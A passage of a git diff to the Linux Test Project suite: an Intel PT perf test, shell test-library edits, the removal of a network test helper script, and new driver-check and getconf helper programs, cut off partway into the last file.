+	buhsz = 2 * PAGESIZE;
+	if (access(INTEL_PT_PATH, F_OK)) {
+		tst_brk(TCONF,
+			"Requires Intel Core 5th+ generation (Broadwell and newer)"
+			" and CONFIG_PERF_EVENTS enabled.");
+	}
+
+	/* set attr for Intel PT trace */
+	attr.type	= intel_pt_pmu_value(INTEL_PT_PMU_TYPE);
+	attr.read_format = PERF_FORMAT_ID | PERF_FORMAT_TOTAL_TIME_RUNNING |
+				PERF_FORMAT_TOTAL_TIME_ENABLED;
+	attr.disabled	= 1;
+	attr.config	= BIT(intel_pt_pmu_value(INTEL_PT_FORMAT_TSC)) |
+				BIT(intel_pt_pmu_value(INTEL_PT_FORMAT_NRT));
+	attr.size	= sizeof(struct perf_event_attr);
+	attr.exclude_kernel		= 0;
+	attr.exclude_user		= 0;
+	attr.mmap			= 1;
+
+	/* only get trace for own pid */
+	fde = tst_syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0);
+	if (fde < 0) {
+		tst_res(TINFO, "Open Intel PT event failed!");
+		tst_res(TFAIL, "perf trace full mode is failed!");
+		return;
+	}
+	bufm = NULL;
+	bufm = create_map(fde, buhsz);
+
+}
+
+static void cleanup(void)
+{
+	if (fde != -1)
+		close(fde);
+
+	del_map(bufm, buhsz);
+}
+
+static struct tst_test test = {
+	.test_all = intel_pt_full_trace_check,
+	.min_kver = "4.1",
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+};
+
+#else
+TST_TEST_TCONF("missing aux_* fields in struct perf_event_mmap_page");
+#endif /* HAVE_STRUCT_PERF_EVENT_MMAP_PAGE_AUX_HEAD */
diff --git a/testcases/lib/.gitignore b/testcases/lib/.gitignore
index f36ed99..d83a48e 100644
--- a/testcases/lib/.gitignore
+++ b/testcases/lib/.gitignore
@@ -1,5 +1,6 @@
 /tst_sleep
 /tst_random
+/tst_check_drivers
 /tst_checkpoint
 /tst_rod
 /tst_kvcmp
@@ -7,3 +8,5 @@
 /tst_net_iface_prefix
 /tst_net_ip_prefix
 /tst_net_vars
+/tst_getconf
+/tst_supported_fs
diff --git a/testcases/lib/Makefile b/testcases/lib/Makefile
index 398150a..e1dea3b 100644
--- a/testcases/lib/Makefile
+++ b/testcases/lib/Makefile
@@ -27,6 +27,7 @@
 INSTALL_TARGETS		:= *.sh
 
 MAKE_TARGETS		:= tst_sleep tst_random tst_checkpoint tst_rod tst_kvcmp\
-			   tst_device tst_net_iface_prefix tst_net_ip_prefix tst_net_vars
+			   tst_device tst_net_iface_prefix tst_net_ip_prefix tst_net_vars\
+			   tst_getconf tst_supported_fs tst_check_drivers
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/lib/test.sh b/testcases/lib/test.sh
index 341c1f0..954f2a2 100644
--- a/testcases/lib/test.sh
+++ b/testcases/lib/test.sh
@@ -143,7 +143,7 @@
 #
 # Checks if commands passed as arguments exists
 #
-tst_check_cmds()
+tst_test_cmds()
 {
 	local cmd
 	for cmd in $*; do
@@ -225,8 +225,9 @@
 
 ROD_SILENT()
 {
-	$@ > /dev/null 2>&1
+	local tst_out="$($@ 2>&1)"
 	if [ $? -ne 0 ]; then
+		echo "$tst_out"
 		tst_brkm TBROK "$@ failed"
 	fi
 }
@@ -420,9 +421,9 @@
 if [ "$TST_NEEDS_CHECKPOINTS" = "1" ]; then
 	LTP_IPC_PATH="/dev/shm/ltp_${TCID}_$$"
 
-	LTP_IPC_SIZE=$(getconf PAGESIZE)
+	LTP_IPC_SIZE=$(tst_getconf PAGESIZE)
 	if [ $? -ne 0 ]; then
-		tst_brkm TBROK "getconf PAGESIZE failed"
+		tst_brkm TBROK "tst_getconf PAGESIZE failed"
 	fi
 
 	ROD_SILENT dd if=/dev/zero of="$LTP_IPC_PATH" bs="$LTP_IPC_SIZE" count=1
diff --git a/testcases/lib/test_net.sh b/testcases/lib/test_net.sh
deleted file mode 100644
index 1e001f7..0000000
--- a/testcases/lib/test_net.sh
+++ /dev/null
@@ -1,705 +0,0 @@
-#!/bin/sh
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) 2016-2017 Petr Vorel <pvorel@suse.cz>
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
-# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
-#
-
-[ -z "$TST_LIB_LOADED" ] && . test.sh
-
-init_ltp_netspace()
-{
-	local pid=
-
-	if [ ! -f /var/run/netns/ltp_ns ]; then
-		ROD ip li add name ltp_ns_veth1 type veth peer name ltp_ns_veth2
-		pid="$(ROD ns_create net,mnt)"
-		mkdir -p /var/run/netns
-		ROD ln -s /proc/$pid/ns/net /var/run/netns/ltp_ns
-		ROD ns_exec $pid net,mnt mount --make-rprivate /sys
-		ROD ns_exec $pid net,mnt mount -t sysfs none /sys
-		ROD ns_ifmove ltp_ns_veth1 $pid
-		ROD ns_exec $pid net,mnt ip li set lo up
-	fi
-
-	LHOST_IFACES="${LHOST_IFACES:-ltp_ns_veth2}"
-	RHOST_IFACES="${RHOST_IFACES:-ltp_ns_veth1}"
-
-	export TST_INIT_NETNS="no"
-
-	pid="$(echo $(readlink /var/run/netns/ltp_ns) | cut -f3 -d'/')"
-	export LTP_NETNS="${LTP_NETNS:-ns_exec $pid net,mnt}"
-
-	tst_restore_ipaddr
-	tst_restore_ipaddr rhost
-
-	tst_wait_ipv6_dad
-}
-
-# Run command on remote host.
-# Options:
-# -b run in background
-# -B run in background and save output to $TST_TMPDIR/bg.cmd
-# -s safe option, if something goes wrong, will exit with TBROK
-# -c specify command to run
-tst_rhost_run()
-{
-	local pre_cmd=
-	local post_cmd=' || echo RTERR'
-	local out=
-	local user="root"
-	local cmd=
-	local safe=0
-	local bg=
-
-	OPTIND=0
-
-	while getopts :bBsc:u: opt; do
-		case "$opt" in
-		b|B) [ "$TST_USE_NETNS" ] && pre_cmd= || pre_cmd="nohup"
-		   [ "$opt" = b ] && bg="/dev/null" || bg="$TST_TMPDIR/bg.cmd"
-		   post_cmd=" > $bg 2>&1 &"
-		   out="1> /dev/null"
-		;;
-		s) safe=1 ;;
-		c) cmd="$OPTARG" ;;
-		u) user="$OPTARG" ;;
-		*) tst_brkm TBROK "tst_rhost_run: unknown option: $OPTARG" ;;
-		esac
-	done
-
-	OPTIND=0
-
-	if [ -z "$cmd" ]; then
-		[ "$safe" -eq 1 ] && \
-			tst_brkm TBROK "tst_rhost_run: command not defined"
-		tst_resm TWARN "tst_rhost_run: command not defined"
-		return 1
-	fi
-
-	local output=
-	local ret=0
-	if [ -n "${TST_USE_SSH:-}" ]; then
-		output=`ssh -n -q $user@$RHOST "sh -c \
-			'$pre_cmd $cmd $post_cmd'" $out 2>&1 || echo 'RTERR'`
-	elif [ -n "$TST_USE_NETNS" ]; then
-		output=`$LTP_NETNS sh -c \
-			"$pre_cmd $cmd $post_cmd" $out 2>&1 || echo 'RTERR'`
-	else
-		output=`rsh -n -l $user $RHOST "sh -c \
-			'$pre_cmd $cmd $post_cmd'" $out 2>&1 || echo 'RTERR'`
-	fi
-	echo "$output" | grep -q 'RTERR$' && ret=1
-	if [ $ret -eq 1 ]; then
-		output=$(echo "$output" | sed 's/RTERR//')
-		[ "$safe" -eq 1 ] && \
-			tst_brkm TBROK "'$cmd' failed on '$RHOST': '$output'"
-	fi
-
-	[ -z "$out" -a -n "$output" ] && echo "$output"
-
-	return $ret
-}
-
-EXPECT_RHOST_PASS()
-{
-	tst_rhost_run -c "$*" > /dev/null
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "$* passed as expected"
-	else
-		tst_resm TFAIL "$* failed unexpectedly"
-	fi
-}
-
-EXPECT_RHOST_FAIL()
-{
-	tst_rhost_run -c "$* 2> /dev/null"
-	if [ $? -ne 0 ]; then
-		tst_resm TPASS "$* failed as expected"
-	else
-		tst_resm TFAIL "$* passed unexpectedly"
-	fi
-}
-
-# Get test interface names for local/remote host.
-# tst_get_ifaces [TYPE]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-tst_get_ifaces()
-{
-	local type="${1:-lhost}"
-	if [ "$type" = "lhost" ]; then
-		echo "$LHOST_IFACES"
-	else
-		echo "$RHOST_IFACES"
-	fi
-}
-
-# Get HW addresses from defined test interface names.
-# tst_get_hwaddrs [TYPE]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-tst_get_hwaddrs()
-{
-	local type="${1:-lhost}"
-	local addr=
-	local list=
-
-	for eth in $(tst_get_ifaces $type); do
-
-		local addr_path="/sys/class/net/${eth}/address"
-
-		case $type in
-		lhost) addr=$(cat $addr_path) ;;
-		rhost) addr=$(tst_rhost_run -s -c "cat $addr_path")
-		esac
-
-		[ -z "$list" ] && list="$addr" || list="$list $addr"
-	done
-	echo "$list"
-}
-
-# Get test HW address.
-# tst_hwaddr [TYPE] [LINK]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-# LINK: link number starting from 0. Default value is '0'.
-tst_hwaddr()
-{
-	local type="${1:-lhost}"
-	local link_num="${2:-0}"
-	local hwaddrs=
-	link_num=$(( $link_num + 1 ))
-	[ "$type" = "lhost" ] && hwaddrs=$LHOST_HWADDRS || hwaddrs=$RHOST_HWADDRS
-	echo "$hwaddrs" | awk '{ print $'"$link_num"' }'
-}
-
-# Get test interface name.
-# tst_iface [TYPE] [LINK]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-# LINK: link number starting from 0. Default value is '0'.
-tst_iface()
-{
-	local type="${1:-lhost}"
-	local link_num="${2:-0}"
-	link_num="$(( $link_num + 1 ))"
-	echo "$(tst_get_ifaces $type)" | awk '{ print $'"$link_num"' }'
-}
-
-# Blank for an IPV4 test; 6 for an IPV6 test.
-TST_IPV6=
-
-tst_read_opts()
-{
-	OPTIND=0
-	while getopts ":6" opt; do
-		case "$opt" in
-		6)
-			TST_IPV6=6;;
-		esac
-	done
-	OPTIND=0
-}
-
-tst_read_opts $*
-
-# Get IP address
-# tst_ipaddr [TYPE]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-tst_ipaddr()
-{
-	local type="${1:-lhost}"
-	if [ "$TST_IPV6" ]; then
-		[ "$type" = "lhost" ] && echo "$IPV6_LHOST" || echo "$IPV6_RHOST"
-	else
-		[ "$type" = "lhost" ] && echo "$IPV4_LHOST" || echo "$IPV4_RHOST"
-	fi
-}
-
-# Get IP address of unused network, specified either by type and counter
-# or by net and host.
-# tst_ipaddr_un [-cCOUNTER] [TYPE]
-# tst_ipaddr_un NET_ID [HOST_ID]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-# COUNTER: Integer value for counting HOST_ID and NET_ID. Default is 1.
-# NET_ID: Integer or hex value of net. For IPv4 is 3rd octet, for IPv6
-# is 3rd hextet.
-# HOST_ID: Integer or hex value of host. For IPv4 is 4th octet, for
-# IPv6 is the last hextet. Default value is 0.
-tst_ipaddr_un()
-{
-	local counter host_id net_id max_host_id max_net_id tmp type
-	local OPTIND
-
-	while getopts "c:" opt; do
-		case $opt in
-			c) counter="$OPTARG";;
-		esac
-	done
-	shift $(($OPTIND - 1))
-
-	[ "$TST_IPV6" ] && max_net_id=65535 || max_net_id=255
-
-	if [ $# -eq 0 -o "$1" = "lhost" -o "$1" = "rhost" ]; then
-		[ -z "$counter" ] && counter=1
-		[ $counter -lt 1 ] && counter=1
-		type="${1:-lhost}"
-		max_host_id=$((max_net_id - 1))
-		tmp=$((counter * 2))
-		[ "$type" = "rhost" ] && tmp=$((tmp - 1))
-
-		host_id=$((tmp % max_host_id))
-		net_id=$((tmp / max_host_id))
-
-		if [ $host_id -eq 0 ]; then
-			host_id=$max_host_id
-			net_id=$((net_id - 1))
-		fi
-	else
-		net_id="$1"
-		host_id="${2:-0}"
-		if [ "$TST_IPV6" ]; then
-			net_id=$(printf %d $net_id)
-			host_id=$(printf %d $host_id)
-		fi
-		[ $net_id -lt 0 ] && net_id=0
-		[ $host_id -lt 0 ] && host_id=1
-	fi
-
-	net_id=$((net_id % max_net_id))
-	host_id=$((host_id % max_net_id))
-
-	if [ -z "$TST_IPV6" ]; then
-		echo "${IPV4_NET16_UNUSED}.${net_id}.${host_id}"
-		return
-	fi
-
-	[ $host_id -gt 0 ] && host_id="$(printf %x $host_id)" || host_id=
-	[ $net_id -gt 0 ] && net_id="$(printf %x $net_id)" || net_id=
-	[ "$net_id" ] && net_id=":$net_id"
-	echo "${IPV6_NET32_UNUSED}${net_id}::${host_id}"
-}
-
-# tst_init_iface [TYPE] [LINK]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-# LINK: link number starting from 0. Default value is '0'.
-tst_init_iface()
-{
-	local type="${1:-lhost}"
-	local link_num="${2:-0}"
-	local iface="$(tst_iface $type $link_num)"
-	tst_resm TINFO "initialize '$type' '$iface' interface"
-
-	if [ "$type" = "lhost" ]; then
-		ip xfrm policy flush || return $?
-		ip xfrm state flush || return $?
-		ip link set $iface down || return $?
-		ip route flush dev $iface || return $?
-		ip addr flush dev $iface || return $?
-		ip link set $iface up
-		return $?
-	fi
-
-	tst_rhost_run -c "ip xfrm policy flush" || return $?
-	tst_rhost_run -c "ip xfrm state flush" || return $?
-	tst_rhost_run -c "ip link set $iface down" || return $?
-	tst_rhost_run -c "ip route flush dev $iface" || return $?
-	tst_rhost_run -c "ip addr flush dev $iface" || return $?
-	tst_rhost_run -c "ip link set $iface up"
-}
-
-# tst_add_ipaddr [TYPE] [LINK]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-# LINK: link number starting from 0. Default value is '0'.
-tst_add_ipaddr()
-{
-	local type="${1:-lhost}"
-	local link_num="${2:-0}"
-	local mask
-
-	if [ "$TST_IPV6" ]; then
-		[ "$type" = "lhost" ] && mask=$IPV6_LPREFIX || mask=$IPV6_RPREFIX
-	else
-		[ "$type" = "lhost" ] && mask=$IPV4_LPREFIX || mask=$IPV4_RPREFIX
-	fi
-
-	local iface=$(tst_iface $type $link_num)
-
-	if [ $type = "lhost" ]; then
-		tst_resm TINFO "set local addr $(tst_ipaddr)/$mask"
-		ip addr add $(tst_ipaddr)/$mask dev $iface
-		return $?
-	fi
-
-	tst_resm TINFO "set remote addr $(tst_ipaddr rhost)/$mask"
-	tst_rhost_run -c "ip addr add $(tst_ipaddr rhost)/$mask dev $iface"
-}
-
-# tst_restore_ipaddr [TYPE] [LINK]
-# Restore default ip addresses defined in network.sh
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-# LINK: link number starting from 0. Default value is '0'.
-tst_restore_ipaddr()
-{
-	local type="${1:-lhost}"
-	local link_num="${2:-0}"
-
-	tst_init_iface $type $link_num || return $?
-
-	local ret=0
-	local backup_tst_ipv6=$TST_IPV6
-	TST_IPV6= tst_add_ipaddr $type $link_num || ret=$?
-	TST_IPV6=6 tst_add_ipaddr $type $link_num || ret=$?
-	TST_IPV6=$backup_tst_ipv6
-
-	return $ret
-}
-
-# tst_wait_ipv6_dad [LHOST_IFACE] [RHOST_IFACE]
-# wait for IPv6 DAD completion
-tst_wait_ipv6_dad()
-{
-	local ret=
-	local i=
-	local iface_loc=${1:-$(tst_iface)}
-	local iface_rmt=${2:-$(tst_iface rhost)}
-
-	for i in $(seq 1 50); do
-		ip a sh $iface_loc | grep -q tentative
-		ret=$?
-
-		tst_rhost_run -c "ip a sh $iface_rmt | grep -q tentative"
-
-		[ $ret -ne 0 -a $? -ne 0 ] && return
-
-		[ $(($i % 10)) -eq 0 ] && \
-			tst_resm TINFO "wait for IPv6 DAD completion $((i / 10))/5 sec"
-
-		tst_sleep 100ms
-	done
-}
-
-tst_dump_rhost_cmd()
-{
-	tst_rhost_run -c "cat $TST_TMPDIR/bg.cmd"
-}
-
-# Run network load test, see 'netstress -h' for option description
-tst_netload()
-{
-	local rfile="tst_netload.res"
-	local expect_res="pass"
-	local ret=0
-	local type="tcp"
-	local hostopt=
-	local setup_srchost=0
-	# common options for client and server
-	local cs_opts=
-
-	local c_num="${TST_NETLOAD_CLN_NUMBER:-2}"
-	local c_requests="${TST_NETLOAD_CLN_REQUESTS:-500000}"
-	local c_opts=
-
-	# number of server replies after which TCP connection is closed
-	local s_replies="${TST_NETLOAD_MAX_SRV_REPLIES:-500000}"
-	local s_opts=
-
-	OPTIND=0
-	while getopts :a:H:d:n:N:r:R:S:b:t:T:fFe:m:A: opt; do
-		case "$opt" in
-		a) c_num="$OPTARG" ;;
-		H) c_opts="${c_opts}-H $OPTARG "
-		   hostopt="$OPTARG" ;;
-		d) rfile="$OPTARG" ;;
-		n) c_opts="${c_opts}-n $OPTARG " ;;
-		N) c_opts="${c_opts}-N $OPTARG " ;;
-		r) c_requests="$OPTARG" ;;
-		A) c_opts="${c_opts}-A $OPTARG " ;;
-		R) s_replies="$OPTARG" ;;
-		S) c_opts="${c_opts}-S $OPTARG "
-		   setup_srchost=1 ;;
-		b) cs_opts="${cs_opts}-b $OPTARG " ;;
-		t) cs_opts="${cs_opts}-t $OPTARG " ;;
-		T) cs_opts="${cs_opts}-T $OPTARG "
-		   type="$OPTARG" ;;
-		m) cs_opts="${cs_opts}-m $OPTARG " ;;
-		f) cs_opts="${cs_opts}-f " ;;
-		F) cs_opts="${cs_opts}-F " ;;
-		e) expect_res="$OPTARG" ;;
-		*) tst_brkm TBROK "tst_netload: unknown option: $OPTARG" ;;
-		esac
-	done
-	OPTIND=0
-
-	[ "$setup_srchost" = 1 ] && s_opts="${s_opts}-S $hostopt "
-
-	local expect_ret=0
-	[ "$expect_res" != "pass" ] && expect_ret=1
-
-	local ptype="stream"
-	[ "$type" = "udp" ] && ptype="dgram"
-
-	local port=$(tst_rhost_run -c "tst_get_unused_port ipv6 $ptype")
-	[ $? -ne 0 ] && tst_brkm TBROK "failed to get unused port"
-
-	tst_rhost_run -c "pkill -9 netstress\$"
-
-	c_opts="${cs_opts}${c_opts}-a $c_num -r $c_requests -d $rfile -g $port"
-	s_opts="${cs_opts}${s_opts}-R $s_replies -g $port"
-
-	tst_resm TINFO "run server 'netstress $s_opts'"
-	tst_rhost_run -s -B -c "netstress $s_opts"
-
-	tst_resm TINFO "check that server port in 'LISTEN' state"
-	local sec_waited=
-
-	local sock_cmd=
-	if [ "$type" = "sctp" ]; then
-		sock_cmd="netstat -naS | grep $port | grep -q LISTEN"
-	else
-		sock_cmd="ss -ln$(echo $type | head -c1) | grep -q $port"
-	fi
-
-	for sec_waited in $(seq 1 1200); do
-		tst_rhost_run -c "$sock_cmd" && break
-		if [ $sec_waited -eq 1200 ]; then
-			tst_dump_rhost_cmd
-			tst_rhost_run -c "ss -dutnp | grep $port"
-			tst_brkm TFAIL "server not in LISTEN state"
-		fi
-		tst_sleep 100ms
-	done
-
-	tst_resm TINFO "run client 'netstress -l $c_opts'"
-	netstress -l $c_opts > tst_netload.log 2>&1 || ret=1
-	tst_rhost_run -c "pkill -9 netstress\$"
-
-	if [ "$expect_ret" -ne "$ret" ]; then
-		tst_dump_rhost_cmd
-		cat tst_netload.log
-		tst_brkm TFAIL "expected '$expect_res' but ret: '$ret'"
-	fi
-
-	if [ "$ret" -eq 0 ]; then
-		if [ ! -f $rfile ]; then
-			tst_dump_rhost_cmd
-			cat tst_netload.log
-			tst_brkm TFAIL "can't read $rfile"
-		fi
-		tst_resm TPASS "netstress passed, time spent '$(cat $rfile)' ms"
-	else
-		tst_resm TPASS "netstress failed as expected"
-	fi
-
-	return $ret
-}
-
-# tst_ping [IFACE] [DST ADDR] [MESSAGE SIZE ARRAY]
-# Check icmp connectivity
-# IFACE: source interface name
-# DST ADDR: destination IPv4 or IPv6 address
-# MESSAGE SIZE ARRAY: message size array
-tst_ping()
-{
-	# The max number of ICMP echo request
-	PING_MAX="${PING_MAX:-500}"
-
-	local src_iface="${1:-$(tst_iface)}"
-	local dst_addr="${2:-$(tst_ipaddr rhost)}"; shift $(( $# >= 2 ? 2 : 0 ))
-	local msg_sizes="$*"
-	local msg="tst_ping IPv${TST_IPV6:-4} iface $src_iface, msg_size"
-	local ret=0
-
-	# ping cmd use 56 as default message size
-	for size in ${msg_sizes:-"56"}; do
-		ping$TST_IPV6 -I $src_iface -c $PING_MAX $dst_addr \
-			-s $size -i 0 > /dev/null 2>&1
-		ret=$?
-		if [ $ret -eq 0 ]; then
-			tst_resm TPASS "$msg $size: pass"
-		else
-			tst_resm TFAIL "$msg $size: fail"
-			break
-		fi
-	done
-	return $ret
-}
-
-# tst_icmp -t TIMEOUT -s MESSAGE_SIZE_ARRAY OPTS
-# TIMEOUT: total time for the test in seconds
-# OPTS: additional options for ns-icmpv4|6-sender tool
-tst_icmp()
-{
-	local timeout=1
-	local msg_sizes=56
-	local opts=
-	local num=
-	local ret=0
-	local ver="${TST_IPV6:-4}"
-
-	OPTIND=0
-	while getopts :t:s: opt; do
-		case "$opt" in
-		t) timeout="$OPTARG" ;;
-		s) msg_sizes="$OPTARG" ;;
-		*) opts="-$OPTARG $opts" ;;
-		esac
-	done
-	OPTIND=0
-
-	local num=$(echo "$msg_sizes" | wc -w)
-	timeout="$(($timeout / $num))"
-	[ "$timeout" -eq 0 ] && timeout=1
-
-	opts="${opts}-I $(tst_iface) -S $(tst_ipaddr) -D $(tst_ipaddr rhost) "
-	opts="${opts}-M $(tst_hwaddr rhost) -t $timeout"
-
-	for size in $msg_sizes; do
-		ns-icmpv${ver}_sender -s $size $opts
-		ret=$?
-		if [ $ret -eq 0 ]; then
-			tst_resm TPASS "'ns-icmpv${ver}_sender -s $size $opts' pass"
-		else
-			tst_resm TFAIL "'ns-icmpv${ver}_sender -s $size $opts' fail"
-			break
-		fi
-	done
-	return $ret
-}
-
-# tst_set_sysctl NAME VALUE [safe]
-# It can handle netns case when sysctl not namespaceified.
-tst_set_sysctl()
-{
-	local name="$1"
-	local value="$2"
-	local safe=
-	[ "$3" = "safe" ] && safe="-s"
-
-	local add_opt=
-	[ "$TST_USE_NETNS" = "yes" ] && add_opt="-e"
-
-	if [ "$safe" ]; then
-		ROD sysctl -qw $name=$value
-	else
-		sysctl -qw $name=$value
-	fi
-
-	tst_rhost_run $safe -c "sysctl -qw $add_opt $name=$value"
-}
-
-tst_cleanup_rhost()
-{
-	tst_rhost_run -c "rm -rf $TST_TMPDIR"
-}
-
-# Management Link
-[ -z "$RHOST" ] && TST_USE_NETNS="yes"
-export RHOST="$RHOST"
-export PASSWD="${PASSWD:-}"
-# Don't use it in new tests, use tst_rhost_run() from test_net.sh instead.
-export LTP_RSH="${LTP_RSH:-rsh -n}"
-
-# Test Links
-# IPV{4,6}_{L,R}HOST can be set with or without prefix (e.g. IP or IP/prefix),
-# but if you use IP/prefix form, /prefix will be removed by tst_net_vars.
-IPV4_LHOST="${IPV4_LHOST:-10.0.0.2/24}"
-IPV4_RHOST="${IPV4_RHOST:-10.0.0.1/24}"
-IPV6_LHOST="${IPV6_LHOST:-fd00:1:1:1::2/64}"
-IPV6_RHOST="${IPV6_RHOST:-fd00:1:1:1::1/64}"
-
-# tst_net_ip_prefix
-# Strip prefix from IP address and save both If no prefix found sets
-# default prefix.
-#
-# tst_net_iface_prefix reads prefix and interface from rtnetlink.
-# If nothing found sets default prefix value.
-#
-# tst_net_vars exports environment variables related to test links and
-# networks that aren't reachable through the test links.
-#
-# For full list of exported environment variables see:
-# tst_net_ip_prefix -h
-# tst_net_iface_prefix -h
-# tst_net_vars -h
-if [ -z "$TST_PARSE_VARIABLES" ]; then
-	eval $(tst_net_ip_prefix $IPV4_LHOST || echo "exit $?")
-	eval $(tst_net_ip_prefix -r $IPV4_RHOST || echo "exit $?")
-	eval $(tst_net_ip_prefix $IPV6_LHOST || echo "exit $?")
-	eval $(tst_net_ip_prefix -r $IPV6_RHOST || echo "exit $?")
-fi
-
-[ -n "$TST_USE_NETNS" -a "$TST_INIT_NETNS" != "no" ] && init_ltp_netspace
-
-if [ -z "$TST_PARSE_VARIABLES" ]; then
-	eval $(tst_net_iface_prefix $IPV4_LHOST || echo "exit $?")
-	eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV4_RHOST \
-		|| echo "exit $?")
-	eval $(tst_net_iface_prefix $IPV6_LHOST || echo "exit $?")
-	eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV6_RHOST \
-		|| echo "exit $?")
-
-	eval $(tst_net_vars $IPV4_LHOST/$IPV4_LPREFIX \
-		$IPV4_RHOST/$IPV4_RPREFIX || echo "exit $?")
-	eval $(tst_net_vars $IPV6_LHOST/$IPV6_LPREFIX \
-		$IPV6_RHOST/$IPV6_RPREFIX || echo "exit $?")
-
-	tst_resm TINFO "Network config (local -- remote):"
-	tst_resm TINFO "$LHOST_IFACES -- $RHOST_IFACES"
-	tst_resm TINFO "$IPV4_LHOST/$IPV4_LPREFIX -- $IPV4_RHOST/$IPV4_RPREFIX"
-	tst_resm TINFO "$IPV6_LHOST/$IPV6_LPREFIX -- $IPV6_RHOST/$IPV6_RPREFIX"
-	export TST_PARSE_VARIABLES="yes"
-fi
-
-export HTTP_DOWNLOAD_DIR="${HTTP_DOWNLOAD_DIR:-/var/www/html}"
-export FTP_DOWNLOAD_DIR="${FTP_DOWNLOAD_DIR:-/var/ftp}"
-export FTP_UPLOAD_DIR="${FTP_UPLOAD_DIR:-/var/ftp/pub}"
-export FTP_UPLOAD_URLDIR="${FTP_UPLOAD_URLDIR:-pub}"
-
-# network/stress tests require additional parameters
-export NS_DURATION="${NS_DURATION:-720}"
-export NS_TIMES="${NS_TIMES:-2000}"
-export CONNECTION_TOTAL="${CONNECTION_TOTAL:-4000}"
-export IP_TOTAL="${IP_TOTAL:-2000}"
-export IP_TOTAL_FOR_TCPIP="${IP_TOTAL_FOR_TCPIP:-100}"
-export ROUTE_TOTAL="${ROUTE_TOTAL:-2000}"
-export MTU_CHANGE_TIMES="${MTU_CHANGE_TIMES:-1000}"
-export IF_UPDOWN_TIMES="${IF_UPDOWN_TIMES:-2000}"
-export DOWNLOAD_BIGFILESIZE="${DOWNLOAD_BIGFILESIZE:-2147483647}"
-export DOWNLOAD_REGFILESIZE="${DOWNLOAD_REGFILESIZE:-1048576}"
-export UPLOAD_BIGFILESIZE="${UPLOAD_BIGFILESIZE:-2147483647}"
-export UPLOAD_REGFILESIZE="${UPLOAD_REGFILESIZE:-1024}"
-export MCASTNUM_NORMAL="${MCASTNUM_NORMAL:-20}"
-export MCASTNUM_HEAVY="${MCASTNUM_HEAVY:-4000}"
-
-# Warning: make sure to set valid interface names and IP addresses below.
-# Set names for test interfaces, e.g. "eth0 eth1"
-# This is fallback for LHOST_IFACES in case tst_net_vars finds nothing or we
-# want to use more ifaces.
-export LHOST_IFACES="${LHOST_IFACES:-eth0}"
-export RHOST_IFACES="${RHOST_IFACES:-eth0}"
-
-# Set corresponding HW addresses, e.g. "00:00:00:00:00:01 00:00:00:00:00:02"
-export LHOST_HWADDRS="${LHOST_HWADDRS:-$(tst_get_hwaddrs lhost)}"
-export RHOST_HWADDRS="${RHOST_HWADDRS:-$(tst_get_hwaddrs rhost)}"
-
-# More information about network parameters can be found
-# in the following document: testcases/network/stress/README
-
-if [ "$TST_NEEDS_TMPDIR" = 1 ]; then
-	tst_tmpdir
-	tst_rhost_run -c "mkdir -p $TST_TMPDIR"
-	tst_rhost_run -c "chmod 777 $TST_TMPDIR"
-	export TST_TMPDIR_RHOST=1
-fi
diff --git a/testcases/lib/tst_check_drivers.c b/testcases/lib/tst_check_drivers.c
new file mode 100644
index 0000000..e21bdab
--- /dev/null
+++ b/testcases/lib/tst_check_drivers.c
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved. */
+
+#include <stdio.h>
+#include "tst_kernel.h"
+
+int main(int argc, const char *argv[])
+{
+	const char *name;
+	int i;
+
+	if (argc < 2) {
+		fprintf(stderr, "Please provide kernel driver list\n");
+		return 1;
+	}
+
+	for (i = 1; (name = argv[i]); ++i) {
+		if (tst_check_driver(name)) {
+			fprintf(stderr, "%s", name);
+			return 1;
+		}
+	}
+
+	return 0;
+}
diff --git a/testcases/lib/tst_device.c b/testcases/lib/tst_device.c
index d24e96b..1cfdc96 100644
--- a/testcases/lib/tst_device.c
+++ b/testcases/lib/tst_device.c
@@ -31,8 +31,8 @@
 
 static void print_help(void)
 {
-	printf("\nUsage: tst_device acquire [size]\n");
-	printf("   or: tst_device release /path/to/device\n\n");
+	fprintf(stderr, "\nUsage: tst_device acquire [size]\n");
+	fprintf(stderr, "   or: tst_device release /path/to/device\n\n");
 }
 
 static int acquire_device(int argc, char *argv[])
diff --git a/testcases/lib/tst_getconf.c b/testcases/lib/tst_getconf.c
new file mode 100644
index 0000000..0cb8eb2
--- /dev/null
+++ b/testcases/lib/tst_getconf.c
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Mylène Josserand <mylene.josserand@bootlin.com>
+ *
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+
+static void print_help(void)
+{
+	printf("Usage: tst_getconf variable\n\n");
+	printf("       variable: can be PAGESIZE/PAGE_SIZE");
+	printf(" or _NPROCESSORS_ONLN (for the moment)\n\n");
+	printf("example: tst_getconf PAGESIZE\n");
+}
+
+int main(int argc, char *argv[])
+{
